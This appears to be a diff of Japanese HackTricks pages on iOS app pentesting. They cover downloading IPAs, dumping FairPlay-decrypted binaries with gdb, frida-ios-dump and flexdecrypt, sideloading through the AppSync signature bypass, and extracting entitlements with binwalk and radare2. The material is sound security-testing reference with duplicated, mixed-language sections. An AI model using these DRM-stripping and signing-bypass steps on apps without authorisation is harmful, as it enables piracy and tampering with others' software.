Downloading /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist
Streaming file from device...
Writing bytes to destination...
Successfully downloaded /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist
```
iOSデバイスには、`file upload <local_file_path>`を使用してファイルをアップロードすることもできます。
## アプリの取得と抽出
### OTA配布リンクからIPAファイルを取得する
開発中、アプリはテスターにOTAオーバーザエア配布経由で提供されることがあります。その場合、以下のようなitms-servicesリンクを受け取ります。
```
itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist
```
[ITMS services asset downloader](https://www.npmjs.com/package/itms-services)ツールを使用して、OTA配布URLからIPAをダウンロードすることができます。npmを使用してインストールします
```shell
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
```
### **アプリのバイナリを抽出する**
使用方法は以下の通りです:
1. **IPAから:** IPAを解凍して複合化されたアプリのバイナリにアクセスします。
2. **脱獄されたデバイスから:** アプリをインストールし、メモリから複合化されたバイナリを抽出します。
```shell
itms-services download <OTA_URL> -o <OUTPUT_DIRECTORY>
```
### **複合化プロセス**
- `<OTA_URL>`: ダウンロードするOTA配布URL
- `<OUTPUT_DIRECTORY>`: ダウンロードしたIPAファイルの出力先ディレクトリ
**手動複合化の概要:** iOSアプリのバイナリはAppleによってFairPlayを使用して暗号化されています。リバースエンジニアリングするためには、複合化されたバイナリをメモリからダンプする必要があります。複合化プロセスには、PIEフラグのチェック、メモリフラグの調整、暗号化されたセクションの特定、そしてこのセクションを複合化された形式にダンプして置き換える作業が含まれます。
このツールを使用することで、OTA配布URLからiOSアプリのIPAファイルを簡単にダウンロードすることができます。
**PIEフラグのチェックと修正:**
```bash
$ npm install -g itms-services
```
次のコマンドを使用して、IPAファイルをローカルに保存します。
```bash
# itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
```
### アプリのバイナリの取得
1. **IPAから**
IPAを持っている場合おそらくすでに復号化されたアプリのバイナリを含む、それを解凍して準備完了です。アプリのバイナリはメインバンドルディレクトリ.appにあります。例`Payload/Telegram X.app/Telegram X`。プロパティリストの抽出の詳細については、次のサブセクションを参照してください。
> macOSのFinderでは、.appディレクトリは右クリックして「パッケージの内容を表示」を選択することで開くことができます。ターミナルでは、単に`cd`コマンドでディレクトリに移動できます。
2. **ジェイルブレイクされたデバイスから**
元のIPAを持っていない場合は、**ジェイルブレイクされたデバイスが必要**です。そこにアプリをインストールしますApp Store経由。インストール後、メモリからアプリのバイナリを**抽出し、IPAファイルを再構築する必要があります**。DRMのため、iOSデバイスに保存されるときにアプリのバイナリファイルは暗号化されるため、Bundleから単純に取得するだけではリバースエンジニアリングには十分ではありません次のセクションを参照
### 復号化(手動)
iOSアプリのバイナリは、Androidアプリとは異なり、**逆アセンブル**のみが可能であり、逆コンパイルはできません。\
アプリがApp Storeに提出される際、Appleはまずアプリの動作を検証し、アプリをApp Storeにリリースする前に**FairPlay**を使用してバイナリを暗号化します。そのため、App Storeからのバイナリのダウンロードは暗号化されており、リバースエンジニアリングの作業が複雑になります。
ただし、他の**サードパーティのソフトウェアを使用してバイナリを難読化**することもできることに注意してください。
暗号化されたバイナリを実行するためには、デバイスがメモリ内でそれを復号化する必要があります。その後、メモリから**復号化されたバイナリをダンプ**することが可能です。
まず、バイナリがPIEPosition Independent Codeフラグでコンパイルされているかどうかを確認します
```bash
otool -Vh Original_App #Check the last word of the last line of this code
Home:
Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 X86_64 ALL 0x00 EXECUTE 47 6080 NOUNDEFS DYLDLINK TWOLEVEL PIE
```
もし設定されている場合は、Python2を使用してスクリプト[`change_macho_flags.py`](https://chromium.googlesource.com/chromium/src/+/49.0.2623.110/build/mac/change\_mach\_o\_flags.py)を使用してそれを削除することができます。
```bash
python change_mach_o_flags.py --no-pie Original_App
otool -Vh Original_App
python change_macho_flags.py --no-pie Original_App
otool -Vh Hello_World
Hello_World:
Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC ARM V7 0x00 EXECUTE 22 2356 NOUNDEFS DYLDLINK TWOLEVEL MH_NO_HEAP_EXECUTION
```
PIEフラグが設定されていないため、OSはプログラムを毎回**固定の開始位置**でロードします。この**位置**を見つけるためには、次の方法を使用できます:
```bash
otool -l Original_App | grep -A 3 LC_SEGMENT | grep -A 1 __TEXT
segname __TEXT
vmaddr 0x00004000
```
次に、ダンプする必要のあるメモリ範囲を抽出する必要があります。
**暗号化セクションの特定とメモリのダンプ:**
`otool`を使用して暗号化セクションの開始および終了アドレスを特定し、gdbを使用してジェイルブレイクされたデバイスからメモリをダンプします。
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
cmd LC_ENCRYPTION_INFO
cmdsize 20
cryptoff 16384
cryptsize 17416192
cryptid 0
```
**`cryptoff`**の値は、暗号化されたコンテンツの開始アドレスを示し、**`cryptsize`**は暗号化されたコンテンツのサイズを示します。
したがって、ダンプするための`開始アドレス`は`vmaddr + cryptoff`であり、`終了アドレス`は`開始アドレス + cryptsize`です。
この場合、`開始アドレス = 0x4000 + 0x4000 = 0x8000`であり、`終了アドレス = 0x8000 + 0x109c000 = 0x10a4000`です。
この情報を使用して、ジェイルブレイクされたデバイスでアプリケーションを実行し、gdb (`gdb -p <pid>`)でプロセスにアタッチし、メモリをダンプするだけです。
```bash
dump memory dump.bin 0x8000 0x10a4000
```
おめでとうございますdump.binの暗号化されたセクションを解読しました。今、このdumpをコンピュータに転送し、暗号化されたセクションを解読したもので上書きしてください
**暗号化されたセクションの上書き:**
元のアプリバイナリ内の暗号化されたセクションを復号化されたダンプで置き換えます。
```bash
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
```
完了するためにもう一つのステップがあります。アプリケーションはまだメタデータで**暗号化されている**と示していますが、実際には**暗号化されていません**。そのため、実行時にデバイスは既に復号化されたセクションを復号化しようと試みますが、失敗します。\
ただし、[**MachOView**](https://sourceforge.net/projects/machoview/)のようなツールを使用して、この情報を変更することができます。バイナリを開き、**cryptid**を0に設定するだけです。
**復号の最終処理:** `MachOView`などのツールを使用して、`cryptid`を0に設定して、暗号化が行われていないことを示すようにバイナリのメタデータを変更します。
![](<../../.gitbook/assets/image (470).png>)
### **復号(自動的に)**
### 復号化(自動的に)
#### **frida-ios-dump**
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump)ツールは、iOSデバイスからアプリを**自動的に復号化および抽出**するために使用されます。最初に、`dump.py`をiOSデバイスに接続するように構成する必要があります。これは、**iproxy**を介してlocalhostのポート2222経由で行うか、デバイスのIPアドレスとポートを直接使用して行うことができます。
#### frida-ios-dump
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump)のようなツールを使用して、**暗号化を自動的に削除し、アプリ**をダンプすることができます。
まず、**Frida-ios-dump**の`dump.py`で設定が正しく行われていることを確認してください。**iproxy**を使用する場合は、localhostとポート2222に設定されているか、ダンプしたいデバイスの実際のIPアドレスとポートに設定されていることを確認してください。
これで、ツールを安全に使用して**インストールされているアプリ**を**列挙**することができます。
デバイスにインストールされているアプリケーションは、次のコマンドでリストアップできます:
```bash
$ python dump.py -l
PID Name Identifier
---- --------------- -------------------------------------
860 Cydia com.saurik.Cydia
1130 Settings com.apple.Preferences
685 Mail com.apple.mobilemail
834 Telegram ph.telegra.Telegraph
- Stocks com.apple.stocks
...
```
そして、リストされているバイナリの**1つ**を**ダンプ**することができます:
特定のアプリTelegramをダンプするには、次のコマンドを使用します
```bash
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
Start the target app ph.telegra.Telegraph
Dumping Telegram to /var/folders/qw/gz47_8_n6xx1c_lwq7pq5k040000gn/T
[frida-ios-dump]: HockeySDK.framework has been loaded.
[frida-ios-dump]: Load Postbox.framework success.
[frida-ios-dump]: libswiftContacts.dylib has been dlopen.
...
start dump /private/var/containers/Bundle/Application/14002D30-B113-4FDF-BD25-1BF740383149/Telegram.app/Frameworks/libswiftsimd.dylib
libswiftsimd.dylib.fid: 100%|██████████| 343k/343k [00:00<00:00, 1.54MB/s]
start dump /private/var/containers/Bundle/Application/14002D30-B113-4FDF-BD25-1BF740383149/Telegram.app/Frameworks/libswiftCoreData.dylib
libswiftCoreData.dylib.fid: 100%|██████████| 82.5k/82.5k [00:00<00:00, 477kB/s]
5.m4a: 80.9MB [00:14, 5.85MB/s]
0.00B [00:00, ?B/s]Generating "Telegram.ipa"
```
この後、`Telegram.ipa`ファイルが現在のディレクトリに作成されます。アプリを削除して再インストールすることで、ダンプの成功を確認できます(例:[**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`を使用して再インストール)。ただし、これはジェイルブレイクされたデバイスでのみ機能します。それ以外の場合、署名が無効になります。
このコマンドはアプリのダンプを開始し、現在のディレクトリに`Telegram.ipa`ファイルが作成されます。このプロセスは、未署名または偽の署名されたアプリを[**ios-deploy**](https://github.com/ios-control/ios-deploy)などのツールを使用して再インストールできる、ジェイルブレイクされたデバイスに適しています。
#### flexdecrypt
インストールされたアプリケーションから**ipaファイルを取得**するために、ツール[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt)またはそのツールのラッパーである[**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**を使用することもできます。**\
いずれの場合も、デバイスに**flexdecryptをインストールする必要があります**。次のような方法で実行します:
```markup
wget https://github.com/JohnCoates/flexdecrypt/releases/download/1.1/flexdecrypt.deb
dpkg -i flexdecrypt.deb
rm flexdecrypt.deb
```
そして、**flexdump**を使用するためには、以下の手順を実行します:
#### **flexdecrypt**
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt)ツールとそのラッパーである[**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)を使用すると、インストールされたアプリケーションからIPAファイルを抽出できます。デバイス上で**flexdecrypt**をインストールするためのインストールコマンドには、`.deb`パッケージをダウンロードしてインストールする必要があります。以下のコマンドに示すように、**flexdump**を使用してアプリをリストアップおよびダンプすることができます。
```bash
apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
flexdump list #List apps
flexdump dump Twitter.app #Create .ipa file from app
flexdump list
flexdump dump Twitter.app
```
#### bagbak
もう一つのFridaベースのアプリの復号化ツール。Jailbroken iOSデバイスと[frida.re](https://www.frida.re/)が必要です。
#### **bagbak**
[**bagbak**](https://github.com/ChiChou/bagbak)は、別のFridaベースのツールであり、アプリの復号化にはジェイルブレイクされたデバイスが必要です。
```bash
bagbak --raw Chrome
```
#### r2flutch
#### **r2flutch**
**r2flutch**は、radareとfridaの両方を利用してアプリの復号化とダンプを行います。詳細は[**GitHubページ**](https://github.com/as0ler/r2flutch)で確認できます。
[**r2flutch**](https://github.com/as0ler/r2flutch)は、**radare**と**frida**を使用してiOSアプリを**復号化**および**ダンプ**するためのツールです。
### **アプリのインストール**
詳細については、**github**を参照してください
**Sideloading**は、公式App Store以外からアプリをインストールすることを指します。このプロセスは**installdデーモン**によって処理され、アプリはAppleが発行した証明書で署名する必要があります。Jailbrokenデバイスは**AppSync**を介してこれをバイパスし、偽の署名されたIPAパッケージをインストールできます
## アプリのインストール
#### **Sideloadingツール**
AppleのApp Storeを使用せずにアプリをインストールする場合、これは**sideloading**と呼ばれます。以下に説明されているさまざまなsideloadingの方法があります。iOSデバイス上では、実際のインストールプロセスは**installdデーモン**によって処理され、アプリケーションが**展開**されて**インストール**されます。アプリケーションがiOSデバイスに統合されるか、インストールされるためには、すべての**アプリケーションはAppleによって発行された証明書で署名されている必要があります**。これは、コード署名の検証に成功した後にのみアプリケーションをインストールできることを意味します。ただし、脱獄された電話では、Cydiaストアで利用可能なパッケージである[**AppSync**](http://repo.hackyouriphone.org/appsyncunified)を使用して、このセキュリティ機能を**回避**することができます。これにより、偽の署名されたIPAパッケージをインストールすることができます。
- **Cydia Impactor**: iOS上のIPAファイルやAndroid上のAPKファイルに署名してインストールするツール。ガイドやトラブルシューティングは[**yalujailbreak.net**](https://yalujailbreak.net/how-to-use-cydia-impactor/)で見つけることができます。
iOSデバイスにIPAパッケージをインストールするためのさまざまな方法があり、以下で詳しく説明します。
- **libimobiledevice**: LinuxとmacOS用のiOSデバイスと通信するためのライブラリ。ideviceinstallerを使用してUSB経由でアプリをインストールするためのインストールコマンドと使用例が提供されています。
> macOS CatalinaではiTunesは利用できなくなりました。古いバージョンのmacOSを使用している場合は、iTunesはまだ利用可能ですが、iTunes 12.7以降はアプリのインストールができません
- **ipainstaller**: このコマンドラインツールを使用すると、iOSデバイスに直接アプリをインストールできます
#### Cydia Impactor
- **ios-deploy**: macOSユーザー向けに、ios-deployはコマンドラインからiOSアプリをインストールします。IPAを解凍し、直接アプリを起動するために`-m`フラグを使用することがプロセスの一部です。
[Cydia Impactor](http://www.cydiaimpactor.com)は元々iPhoneの脱獄を目的として作成されましたが、IPAパッケージをiOSデバイスにサイドロードおよびAPKファイルをAndroidデバイスにも署名してインストールするために書き直されました。Cydia ImpactorはWindows、macOS、Linuxで利用可能です。[yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)には、ステップバイステップのガイドとトラブルシューティング手順が用意されています。
- **Xcode**: Xcodeを使用して、**Window/Devices and Simulators**に移動し、アプリを**Installed Apps**に追加してインストールします。
#### libimobiledevice
#### **iPad以外のデバイスにアプリのインストールを許可する**
iPhoneやiPod touchデバイスにiPad固有のアプリをインストールするには、**Info.plist**ファイル内の**UIDeviceFamily**値を**1**に変更する必要があります。ただし、この変更には、署名検証チェックのためにIPAファイルを再署名する必要があります。
LinuxおよびmacOSでは、[libimobiledevice](https://www.libimobiledevice.org)を代わりに使用することもできます。これは、iOSデバイスとのネイティブ通信のためのクロスプラットフォームソフトウェアプロトコルライブラリおよびツールのセットです。これにより、ideviceinstallerを実行することでUSB接続経由でアプリをインストールすることができます。接続は、USB上のTCPトンネルを提供するUSBマルチプレクシングデーモン[usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux)で実装されています。
**注意**: この方法は、古いiPhoneやiPod touchを使用している間に、新しいiPadモデルに固有の機能を要求するアプリが失敗する可能性があります。
libimobiledeviceのパッケージはLinuxパッケージマネージャで利用できます。macOSでは、brewを使用してlibimobiledeviceをインストールできます。
```bash
$ brew install libimobiledevice
$ brew install ideviceinstaller
```
インストール後、`ideviceinfo`、`ideviceinstaller`、`idevicedebug`など、いくつかの新しいコマンドラインツールが利用可能になります。
```bash
# The following command will show detailed information about the iOS device connected via USB.
$ ideviceinfo
# The following command will install the IPA to your iOS device.
$ ideviceinstaller -i iGoat-Swift_v1.0-frida-codesigned.ipa
...
Install: Complete
# The following command will start the app in debug mode, by providing the bundle name. The bundle name can be found in the previous command after "Installing".
$ idevicedebug -d run OWASP.iGoat-Swift
```
#### ipainstaller
[ipainstaller](https://github.com/autopear/ipainstaller)を使用して、IPAファイルをiOSデバイスに直接インストールすることもできます。例えば、scpを使用してファイルをデバイスにコピーした後、IPAファイルのファイル名を指定してipainstallerを実行することができます。
```bash
$ ipainstaller App_name.ipa
```
#### ios-deploy
macOSでは、**ios-deploy**ツールを使用してコマンドラインからiOSアプリをインストールすることもできます。ios-deployはアプリバンドルを使用してアプリをインストールするため、IPAファイルを解凍する必要があります。
```bash
$ unzip Name.ipa
$ ios-deploy --bundle 'Payload/Name.app' -W -d -v
```
iOSデバイスにアプリがインストールされた後、アプリを再インストールすることなくデバッグを直接開始するために、`-m`フラグを追加するだけで簡単に開始することができます。
```bash
$ ios-deploy --bundle 'Payload/Name.app' -W -d -v -m
```
#### Xcode
Xcode IDEを使用してiOSアプリをインストールすることも可能です。以下の手順を実行します。
1. Xcodeを起動します。
2. **Window/Devices and Simulators**を選択します。
3. 接続されたiOSデバイスを選択し、**Installed Apps**内の**+**マークをクリックします。
#### iPad以外のデバイスでのアプリケーションのインストールを許可する
アプリケーションがiPadデバイスでの使用を要求する場合、iPhoneやiPod touchデバイスしか持っていない場合でも、この種のデバイスでのインストールと使用を強制することができます。これは、**Info.plist**ファイルの**UIDeviceFamily**プロパティの値を**1**に変更することで行えます。
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>UIDeviceFamily</key>
<array>
<integer>1</integer>
</array>
</dict>
</plist>
```
この値を変更すると、IPAファイルの元の署名が破損するため、署名の検証が無効になっていないデバイスにインストールするために、アップデート後にIPAを再署名する必要があります。
このバイパスは、アプリケーションが最新のiPadに固有の機能を必要とする場合、iPhoneやiPodが少し古い場合には機能しないかもしれません。
[UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/uid/TP40009252-SW11)のプロパティには、Apple Developerドキュメントで見つけることができる可能な値があります。
## 参考文献
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>で学びましょう!</strong></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、**独占的なNFTのコレクション**です。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけましょう
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォローしてください。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
</details>

View file

@ -1,27 +1,31 @@
# コンパイルされたアプリケーションから権限を抽出する
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出する**
</details>
**ページコピー元** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)
ページの要約 [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
アプリのIPAを持っているだけであったり、脱獄したデバイスにインストールされたアプリしかない場合、通常は`.entitlements`ファイルを見つけることができません。これは`embedded.mobileprovision`ファイルにも当てはまるかもしれません。それでも、アプリバイナリからエンタイトルメントのプロパティリストを自分で抽出することができるはずですこれは「iOS基本セキュリティテスト」の章、セクション「アプリバイナリの取得」で説明されているように、以前に取得したものです
### **権限とモバイルプロビジョニングファイルの抽出**
以下のステップは、暗号化されたバイナリを対象としても機能するはずです。何らかの理由で機能しない場合は、ClutchiOSバージョンと互換性がある場合、frida-ios-dumpなどを使用してアプリを復号化して抽出する必要があります。
アプリのIPAやジェイルブレイクされたデバイス上のインストールされたアプリを扱う際、`.entitlements` ファイルや `embedded.mobileprovision` ファイルを直接見つけることができない場合があります。ただし、iOSの基本セキュリティテストの章、特に「アプリバイナリの取得」セクションで概説されている手順に従って、アプリバイナリから権限プロパティリストを抽出することができます。
**アプリバイナリからエンタイトルメントPlistを抽出する**
暗号化されたバイナリでも、これらのファイルを抽出するための特定の手順があります。これらの手順が失敗した場合、iOSバージョンと互換性がある場合は Clutch、frida-ios-dump、または類似のユーティリティツールを使用してアプリを復号化および抽出する必要があります。
コンピュータにアプリバイナリがある場合、binwalkを使用してすべてのXMLファイルを抽出する`-e`)アプローチがあります(`-y=xml`
#### **アプリバイナリから権限のPlistを抽出する**
コンピューター上でアプリバイナリにアクセスできる場合、**binwalk** を使用してすべてのXMLファイルを抽出できます。以下のコマンドはその方法を示しています:
```bash
$ binwalk -e -y=xml ./Telegram\ X
@ -30,51 +34,19 @@ DECIMAL HEXADECIMAL DESCRIPTION
1430180 0x15D2A4 XML document, version: "1.0"
1458814 0x16427E XML document, version: "1.0"
```
または、radare2を使用してアプリバイナリ内のすべての文字列を検索し`izz`)、"PropertyList"を含むものを探すことができます(`~PropertyList``-qc`は_静かに_コマンドを実行して終了します
代わりに、**radare2**を使用して、静かにコマンドを実行し、"PropertyList"を含むアプリのバイナリ内のすべての文字列を検索できます:
```bash
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n<!DOCTYPE plist PUBLIC
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">
...<key>com.apple.security.application-groups</key>\n\t\t<array>
\n\t\t\t<string>group.ph.telegra.Telegraph</string>...
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n
<dict>\n\t<key>cdhashes</key>...
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
```
(binwalkまたはradare2のどちらの場合でも)、同じ2つの`plist`ファイルを抽出することができました。最初のファイル(0x0015d2a4)を調べると、[Telegramの元のエンタイトルメントファイルを完全に回復することができた](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements)ことがわかります。
Both methods, binwalk and radare2, enable the extraction of `plist` files, with an inspection of the first one (0x0015d2a4) revealing a successful recovery of the [original entitlements file from Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
> 注意: `strings`コマンドはここでは役に立ちません。この情報を見つけることができないためです。バイナリに直接grepを`-a`フラグと共に使用するか、radare2(`izz`)/rabin2(`-zz`)を使用する方が良いでしょう。
脱獄済みデバイス上のアプリバイナリにアクセスする場合(例: SSH経由)、grepを`-a, --text`フラグ(すべてのファイルをASCIIテキストとして扱う)と共に使用できます:
For app binaries accessed on jailbroken devices (e.g., via SSH), the **grep** command with the `-a, --text` flag can be used to treat all files as ASCII text:
```bash
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/
15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.application-groups</key>
<array>
...
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
```
```
`-A num, --after-context=num` フラグを使って、表示する行数を増やしたり減らしたりしてみてください。上で紹介したツールも、脱獄したiOSデバイスにインストールしてあれば使用できます。
調整`-A num, --after-context=num`フラグを変更すると、表示される行数を増減させることができます。この方法は、暗号化されたアプリのバイナリに対しても有効であり、複数のApp Storeアプリで検証されています。以前に言及されたツールは、同様の目的のためにジェイルブレイクされたiOSデバイスでも使用することができます。
> この方法は、アプリのバイナリがまだ暗号化されていても機能するはずです複数のApp Storeアプリに対してテストされました
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォロー**してください。
* **HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
```
